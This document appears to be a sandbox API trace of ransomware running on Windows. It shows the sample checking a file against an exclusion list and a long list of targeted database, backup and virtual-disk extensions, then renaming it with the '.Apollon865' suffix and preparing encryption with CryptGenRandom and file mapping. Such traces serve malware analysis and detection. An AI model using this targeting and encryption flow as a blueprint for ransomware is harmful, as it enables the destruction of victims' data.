	[0087.933] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="boot") returned -1
	[0087.934] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="ids.txt") returned -1
	[0087.934] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="ntuser.dat") returned -1
	[0087.934] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="perflogs") returned -1
	[0087.934] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="MSBuild") returned -1
	[0087.934] lstrlenW (lpString="-8 zdu3b59rJKIcQ1ig.wav") returned 23
	[0087.934] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1\\*") returned 68
	[0087.934] lstrcpyW (in: lpString1=0x119e68e, lpString2="-8 zdu3b59rJKIcQ1ig.wav" | out: lpString1="-8 zdu3b59rJKIcQ1ig.wav") returned="-8 zdu3b59rJKIcQ1ig.wav"
	[0087.934] lstrlenW (lpString="-8 zdu3b59rJKIcQ1ig.wav") returned 23
	[0087.934] lstrlenW (lpString="Apollon865") returned 10
	[0087.934] lstrcmpiW (lpString1="IcQ1ig.wav", lpString2="Apollon865") returned 1
	[0087.934] lstrlenW (lpString=".dll") returned 4
	[0087.934] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2=".dll") returned 1
	[0087.934] lstrlenW (lpString=".lnk") returned 4
	[0087.934] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2=".lnk") returned 1
	[0087.934] lstrlenW (lpString=".ini") returned 4
	[0087.934] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2=".ini") returned 1
	[0087.934] lstrlenW (lpString=".sys") returned 4
	[0087.934] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2=".sys") returned 1
	[0087.934] lstrlenW (lpString="-8 zdu3b59rJKIcQ1ig.wav") returned 23
	[0087.934] lstrlenW (lpString="bak") returned 3
	[0087.934] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1
	[0087.934] lstrlenW (lpString="ba_") returned 3
	[0087.934] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1
	[0087.934] lstrlenW (lpString="dbb") returned 3
	[0087.934] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1
	[0087.934] lstrlenW (lpString="vmdk") returned 4
	[0087.934] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1
	[0087.934] lstrlenW (lpString="rar") returned 3
	[0087.934] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1
	[0087.934] lstrlenW (lpString="zip") returned 3
	[0087.934] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1
	[0087.934] lstrlenW (lpString="tgz") returned 3
	[0087.934] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1
	[0087.934] lstrlenW (lpString="vbox") returned 4
	[0087.934] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1
	[0087.935] lstrlenW (lpString="vdi") returned 3
	[0087.935] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1
	[0087.935] lstrlenW (lpString="vhd") returned 3
	[0087.935] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1
	[0087.935] lstrlenW (lpString="vhdx") returned 4
	[0087.935] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1
	[0087.935] lstrlenW (lpString="avhd") returned 4
	[0087.935] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1
	[0087.935] lstrlenW (lpString="db") returned 2
	[0087.935] lstrcmpiW (lpString1="av", lpString2="db") returned -1
	[0087.935] lstrlenW (lpString="db2") returned 3
	[0087.935] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1
	[0087.935] lstrlenW (lpString="db3") returned 3
	[0087.935] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1
	[0087.935] lstrlenW (lpString="dbf") returned 3
	[0087.935] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1
	[0087.935] lstrlenW (lpString="mdf") returned 3
	[0087.935] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1
	[0087.935] lstrlenW (lpString="mdb") returned 3
	[0087.935] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1
	[0087.935] lstrlenW (lpString="sql") returned 3
	[0087.935] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1
	[0087.935] lstrlenW (lpString="sqlite") returned 6
	[0087.935] lstrcmpiW (lpString1="ig.wav", lpString2="sqlite") returned -1
	[0087.935] lstrlenW (lpString="sqlite3") returned 7
	[0087.935] lstrcmpiW (lpString1="1ig.wav", lpString2="sqlite3") returned -1
	[0087.935] lstrlenW (lpString="sqlitedb") returned 8
	[0087.935] lstrcmpiW (lpString1="Q1ig.wav", lpString2="sqlitedb") returned -1
	[0087.935] lstrlenW (lpString="xml") returned 3
	[0087.935] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1
	[0087.935] lstrlenW (lpString="$er") returned 3
	[0087.935] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1
	[0087.935] lstrlenW (lpString="4dd") returned 3
	[0087.935] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1
	[0087.935] lstrlenW (lpString="4dl") returned 3
	[0087.936] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1
	[0087.936] lstrlenW (lpString="^^^") returned 3
	[0087.936] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1
	[0087.936] lstrlenW (lpString="abs") returned 3
	[0087.936] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1
	[0087.936] lstrlenW (lpString="abx") returned 3
	[0087.936] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1
	[0087.936] lstrlenW (lpString="accdb") returned 5
	[0087.936] lstrcmpiW (lpString1="g.wav", lpString2="accdb") returned 1
	[0087.936] lstrlenW (lpString="accdc") returned 5
	[0087.936] lstrcmpiW (lpString1="g.wav", lpString2="accdc") returned 1
	[0087.936] lstrlenW (lpString="accde") returned 5
	[0087.936] lstrcmpiW (lpString1="g.wav", lpString2="accde") returned 1
	[0087.936] lstrlenW (lpString="accdr") returned 5
	[0087.936] lstrcmpiW (lpString1="g.wav", lpString2="accdr") returned 1
	[0087.936] lstrlenW (lpString="accdt") returned 5
	[0087.936] lstrcmpiW (lpString1="g.wav", lpString2="accdt") returned 1
	[0087.936] lstrlenW (lpString="accdw") returned 5
	[0087.936] lstrcmpiW (lpString1="g.wav", lpString2="accdw") returned 1
	[0087.936] lstrlenW (lpString="accft") returned 5
	[0087.936] lstrcmpiW (lpString1="g.wav", lpString2="accft") returned 1
	[0087.936] lstrlenW (lpString="adb") returned 3
	[0087.936] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0087.936] lstrlenW (lpString="adb") returned 3
	[0087.936] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0087.936] lstrlenW (lpString="ade") returned 3
	[0087.936] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1
	[0087.936] lstrlenW (lpString="adf") returned 3
	[0087.936] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1
	[0087.936] lstrlenW (lpString="adn") returned 3
	[0087.936] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1
	[0087.936] lstrlenW (lpString="adp") returned 3
	[0087.936] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1
	[0087.936] lstrlenW (lpString="alf") returned 3
	[0087.936] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1
	[0087.936] lstrlenW (lpString="ask") returned 3
	[0087.937] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1
	[0087.937] lstrlenW (lpString="btr") returned 3
	[0087.937] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1
	[0087.937] lstrlenW (lpString="cat") returned 3
	[0087.937] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1
	[0087.937] lstrlenW (lpString="cdb") returned 3
	[0087.937] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1
	[0087.937] lstrlenW (lpString="ckp") returned 3
	[0087.937] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1
	[0087.937] lstrlenW (lpString="cma") returned 3
	[0087.937] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1
	[0087.937] lstrlenW (lpString="cpd") returned 3
	[0087.937] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1
	[0087.937] lstrlenW (lpString="dacpac") returned 6
	[0087.937] lstrcmpiW (lpString1="ig.wav", lpString2="dacpac") returned 1
	[0087.937] lstrlenW (lpString="dad") returned 3
	[0087.937] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1
	[0087.937] lstrlenW (lpString="dadiagrams") returned 10
	[0087.937] lstrcmpiW (lpString1="IcQ1ig.wav", lpString2="dadiagrams") returned 1
	[0087.937] lstrlenW (lpString="daschema") returned 8
	[0087.937] lstrcmpiW (lpString1="Q1ig.wav", lpString2="daschema") returned 1
	[0087.937] lstrlenW (lpString="db-journal") returned 10
	[0087.937] lstrcmpiW (lpString1="IcQ1ig.wav", lpString2="db-journal") returned 1
	[0087.937] lstrlenW (lpString="db-shm") returned 6
	[0087.937] lstrcmpiW (lpString1="ig.wav", lpString2="db-shm") returned 1
	[0087.937] lstrlenW (lpString="db-wal") returned 6
	[0087.937] lstrcmpiW (lpString1="ig.wav", lpString2="db-wal") returned 1
	[0087.937] lstrlenW (lpString="dbc") returned 3
	[0087.937] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1
	[0087.937] lstrlenW (lpString="dbs") returned 3
	[0087.937] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1
	[0087.937] lstrlenW (lpString="dbt") returned 3
	[0087.937] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1
	[0087.937] lstrlenW (lpString="dbv") returned 3
	[0087.937] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1
	[0087.938] lstrlenW (lpString="dbx") returned 3
	[0087.938] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1
	[0087.938] lstrlenW (lpString="dcb") returned 3
	[0087.938] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1
	[0087.938] lstrlenW (lpString="dct") returned 3
	[0087.938] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1
	[0087.938] lstrlenW (lpString="dcx") returned 3
	[0087.938] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1
	[0087.938] lstrlenW (lpString="ddl") returned 3
	[0087.938] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1
	[0087.938] lstrlenW (lpString="dlis") returned 4
	[0087.938] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1
	[0087.938] lstrlenW (lpString="dp1") returned 3
	[0087.938] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1
	[0087.938] lstrlenW (lpString="dqy") returned 3
	[0087.938] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1
	[0087.938] lstrlenW (lpString="dsk") returned 3
	[0087.938] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1
	[0087.938] lstrlenW (lpString="dsn") returned 3
	[0087.938] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1
	[0087.938] lstrlenW (lpString="dtsx") returned 4
	[0087.938] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1
	[0087.938] lstrlenW (lpString="dxl") returned 3
	[0087.938] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1
	[0087.938] lstrlenW (lpString="eco") returned 3
	[0087.938] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1
	[0087.938] lstrlenW (lpString="ecx") returned 3
	[0087.938] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1
	[0087.938] lstrlenW (lpString="edb") returned 3
	[0087.938] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1
	[0087.938] lstrlenW (lpString="epim") returned 4
	[0087.938] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1
	[0087.938] lstrlenW (lpString="fcd") returned 3
	[0087.938] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1
	[0087.938] lstrlenW (lpString="fdb") returned 3
	[0087.939] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1
	[0087.939] lstrlenW (lpString="fic") returned 3
	[0087.939] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1
	[0087.939] lstrlenW (lpString="flexolibrary") returned 12
	[0087.939] lstrcmpiW (lpString1="JKIcQ1ig.wav", lpString2="flexolibrary") returned 1
	[0087.939] lstrlenW (lpString="fm5") returned 3
	[0087.939] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1
	[0087.939] lstrlenW (lpString="fmp") returned 3
	[0087.939] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1
	[0087.939] lstrlenW (lpString="fmp12") returned 5
	[0087.939] lstrcmpiW (lpString1="g.wav", lpString2="fmp12") returned 1
	[0087.939] lstrlenW (lpString="fmpsl") returned 5
	[0087.939] lstrcmpiW (lpString1="g.wav", lpString2="fmpsl") returned 1
	[0087.939] lstrlenW (lpString="fol") returned 3
	[0087.939] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1
	[0087.939] lstrlenW (lpString="fp3") returned 3
	[0087.939] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1
	[0087.939] lstrlenW (lpString="fp4") returned 3
	[0087.939] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1
	[0087.939] lstrlenW (lpString="fp5") returned 3
	[0087.939] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1
	[0087.939] lstrlenW (lpString="fp7") returned 3
	[0087.939] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1
	[0087.939] lstrlenW (lpString="fpt") returned 3
	[0087.939] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1
	[0087.939] lstrlenW (lpString="frm") returned 3
	[0087.939] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1
	[0087.939] lstrlenW (lpString="gdb") returned 3
	[0087.939] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0087.939] lstrlenW (lpString="gdb") returned 3
	[0087.939] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0087.939] lstrlenW (lpString="grdb") returned 4
	[0087.939] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1
	[0087.939] lstrlenW (lpString="gwi") returned 3
	[0087.939] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1
	[0087.939] lstrlenW (lpString="hdb") returned 3
	[0087.940] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1
	[0087.940] lstrlenW (lpString="his") returned 3
	[0087.940] lstrcmpiW (lpString1="wav", lpString2="his") returned 1
	[0087.940] lstrlenW (lpString="ib") returned 2
	[0087.940] lstrcmpiW (lpString1="av", lpString2="ib") returned -1
	[0087.940] lstrlenW (lpString="idb") returned 3
	[0087.940] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1
	[0087.940] lstrlenW (lpString="ihx") returned 3
	[0087.940] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1
	[0087.940] lstrlenW (lpString="itdb") returned 4
	[0087.940] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1
	[0087.940] lstrlenW (lpString="itw") returned 3
	[0087.940] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1
	[0087.940] lstrlenW (lpString="jet") returned 3
	[0087.940] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1
	[0087.940] lstrlenW (lpString="jtx") returned 3
	[0087.940] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1
	[0087.940] lstrlenW (lpString="kdb") returned 3
	[0087.940] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1
	[0087.940] lstrlenW (lpString="kexi") returned 4
	[0087.940] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1
	[0087.940] lstrlenW (lpString="kexic") returned 5
	[0087.940] lstrcmpiW (lpString1="g.wav", lpString2="kexic") returned -1
	[0087.940] lstrlenW (lpString="kexis") returned 5
	[0087.940] lstrcmpiW (lpString1="g.wav", lpString2="kexis") returned -1
	[0087.940] lstrlenW (lpString="lgc") returned 3
	[0087.940] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1
	[0087.940] lstrlenW (lpString="lwx") returned 3
	[0087.940] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1
	[0087.940] lstrlenW (lpString="maf") returned 3
	[0087.940] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1
	[0087.940] lstrlenW (lpString="maq") returned 3
	[0087.940] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1
	[0087.940] lstrlenW (lpString="mar") returned 3
	[0087.940] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1
	[0087.940] lstrlenW (lpString="marshal") returned 7
	[0087.941] lstrcmpiW (lpString1="1ig.wav", lpString2="marshal") returned -1
	[0087.941] lstrlenW (lpString="mas") returned 3
	[0087.941] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1
	[0087.941] lstrlenW (lpString="mav") returned 3
	[0087.941] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1
	[0087.941] lstrlenW (lpString="maw") returned 3
	[0087.941] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1
	[0087.941] lstrlenW (lpString="mdbhtml") returned 7
	[0087.941] lstrcmpiW (lpString1="1ig.wav", lpString2="mdbhtml") returned -1
	[0087.941] lstrlenW (lpString="mdn") returned 3
	[0087.941] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1
	[0087.941] lstrlenW (lpString="mdt") returned 3
	[0087.941] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1
	[0087.941] lstrlenW (lpString="mfd") returned 3
	[0087.941] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1
	[0087.941] lstrlenW (lpString="mpd") returned 3
	[0087.941] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1
	[0087.941] lstrlenW (lpString="mrg") returned 3
	[0087.941] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1
	[0087.941] lstrlenW (lpString="mud") returned 3
	[0087.941] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1
	[0087.941] lstrlenW (lpString="mwb") returned 3
	[0087.941] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1
	[0087.941] lstrlenW (lpString="myd") returned 3
	[0087.941] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1
	[0087.941] lstrlenW (lpString="ndf") returned 3
	[0087.941] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1
	[0087.941] lstrlenW (lpString="nnt") returned 3
	[0087.941] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1
	[0087.941] lstrlenW (lpString="nrmlib") returned 6
	[0087.941] lstrcmpiW (lpString1="ig.wav", lpString2="nrmlib") returned -1
	[0087.941] lstrlenW (lpString="ns2") returned 3
	[0087.941] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1
	[0087.941] lstrlenW (lpString="ns3") returned 3
	[0087.941] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1
	[0087.942] lstrlenW (lpString="ns4") returned 3
	[0087.942] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1
	[0087.942] lstrlenW (lpString="nsf") returned 3
	[0087.942] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1
	[0087.942] lstrlenW (lpString="nv") returned 2
	[0087.942] lstrcmpiW (lpString1="av", lpString2="nv") returned -1
	[0087.942] lstrlenW (lpString="nv2") returned 3
	[0087.942] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1
	[0087.942] lstrlenW (lpString="nwdb") returned 4
	[0087.942] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1
	[0087.942] lstrlenW (lpString="nyf") returned 3
	[0087.942] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1
	[0087.942] lstrlenW (lpString="odb") returned 3
	[0087.942] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0087.942] lstrlenW (lpString="odb") returned 3
	[0087.942] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0087.942] lstrlenW (lpString="oqy") returned 3
	[0087.942] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1
	[0087.942] lstrlenW (lpString="ora") returned 3
	[0087.942] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1
	[0087.942] lstrlenW (lpString="orx") returned 3
	[0087.942] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1
	[0087.942] lstrlenW (lpString="owc") returned 3
	[0087.942] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1
	[0087.943] lstrlenW (lpString="p96") returned 3
	[0087.943] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1
	[0087.943] lstrlenW (lpString="p97") returned 3
	[0087.943] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1
	[0087.943] lstrlenW (lpString="pan") returned 3
	[0087.943] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1
	[0087.943] lstrlenW (lpString="pdb") returned 3
	[0087.943] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1
	[0087.943] lstrlenW (lpString="pdm") returned 3
	[0087.943] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1
	[0087.943] lstrlenW (lpString="pnz") returned 3
	[0087.943] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1
	[0087.943] lstrlenW (lpString="qry") returned 3
	[0087.943] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1
	[0087.943] lstrlenW (lpString="qvd") returned 3
	[0087.943] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1
	[0087.943] lstrlenW (lpString="rbf") returned 3
	[0087.943] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1
	[0087.943] lstrlenW (lpString="rctd") returned 4
	[0087.943] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1
	[0087.943] lstrlenW (lpString="rod") returned 3
	[0087.943] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1
	[0087.943] lstrlenW (lpString="rodx") returned 4
	[0087.943] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1
	[0087.943] lstrlenW (lpString="rpd") returned 3
	[0087.943] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1
	[0087.943] lstrlenW (lpString="rsd") returned 3
	[0087.943] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1
	[0087.943] lstrlenW (lpString="sas7bdat") returned 8
	[0087.943] lstrcmpiW (lpString1="Q1ig.wav", lpString2="sas7bdat") returned -1
	[0087.943] lstrlenW (lpString="sbf") returned 3
	[0087.943] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1
	[0087.943] lstrlenW (lpString="scx") returned 3
	[0087.943] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1
	[0087.944] lstrlenW (lpString="sdb") returned 3
	[0087.944] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1
	[0087.944] lstrlenW (lpString="sdc") returned 3
	[0087.944] lstrcmpiW (lpString1="wav", lpString2="sdc") returned 1
	[0087.944] lstrlenW (lpString="sdf") returned 3
	[0087.944] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1
	[0087.944] lstrlenW (lpString="sis") returned 3
	[0087.944] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1
	[0087.944] lstrlenW (lpString="spq") returned 3
	[0087.944] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1
	[0087.944] lstrlenW (lpString="te") returned 2
	[0087.944] lstrcmpiW (lpString1="av", lpString2="te") returned -1
	[0087.944] lstrlenW (lpString="teacher") returned 7
	[0087.944] lstrcmpiW (lpString1="1ig.wav", lpString2="teacher") returned -1
	[0087.944] lstrlenW (lpString="tmd") returned 3
	[0087.944] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1
	[0087.944] lstrlenW (lpString="tps") returned 3
	[0087.944] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1
	[0087.944] lstrlenW (lpString="trc") returned 3
	[0087.944] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0087.944] lstrlenW (lpString="trc") returned 3
	[0087.944] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0087.944] lstrlenW (lpString="trm") returned 3
	[0087.944] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1
	[0087.944] lstrlenW (lpString="udb") returned 3
	[0087.944] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1
	[0087.944] lstrlenW (lpString="udl") returned 3
	[0087.944] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1
	[0087.944] lstrlenW (lpString="usr") returned 3
	[0087.944] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1
	[0087.944] lstrlenW (lpString="v12") returned 3
	[0087.944] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1
	[0087.944] lstrlenW (lpString="vis") returned 3
	[0087.944] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1
	[0087.945] lstrlenW (lpString="vpd") returned 3
	[0087.945] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1
	[0087.945] lstrlenW (lpString="vvv") returned 3
	[0087.945] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1
	[0087.945] lstrlenW (lpString="wdb") returned 3
	[0087.945] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1
	[0087.945] lstrlenW (lpString="wmdb") returned 4
	[0087.945] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1
	[0087.945] lstrlenW (lpString="wrk") returned 3
	[0087.945] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1
	[0087.945] lstrlenW (lpString="xdb") returned 3
	[0087.945] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1
	[0087.945] lstrlenW (lpString="xld") returned 3
	[0087.945] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1
	[0087.945] lstrlenW (lpString="xmlff") returned 5
	[0087.945] lstrcmpiW (lpString1="g.wav", lpString2="xmlff") returned -1
	[0087.945] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1\\-8 zdu3b59rJKIcQ1ig.wav.Apollon865") returned 101
	[0087.945] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1\\-8 zdu3b59rJKIcQ1ig.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\lqrmsuehidzr1\\-8 zdu3b59rjkicq1ig.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1\\-8 zdu3b59rJKIcQ1ig.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\lqrmsuehidzr1\\-8 zdu3b59rjkicq1ig.wav.apollon865"), dwFlags=0x1) returned 1
	[0087.947] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1\\-8 zdu3b59rJKIcQ1ig.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\lqrmsuehidzr1\\-8 zdu3b59rjkicq1ig.wav.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.947] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=56306) returned 1
	[0087.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0087.947] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf5f0) returned 1
	[0087.948] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.948] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0087.948] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf00, lpName=0x0) returned 0x15c
	[0087.948] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf00) returned 0x100000
	[0087.950] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf5f0) returned 1
	[0087.951] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.951] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0087.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
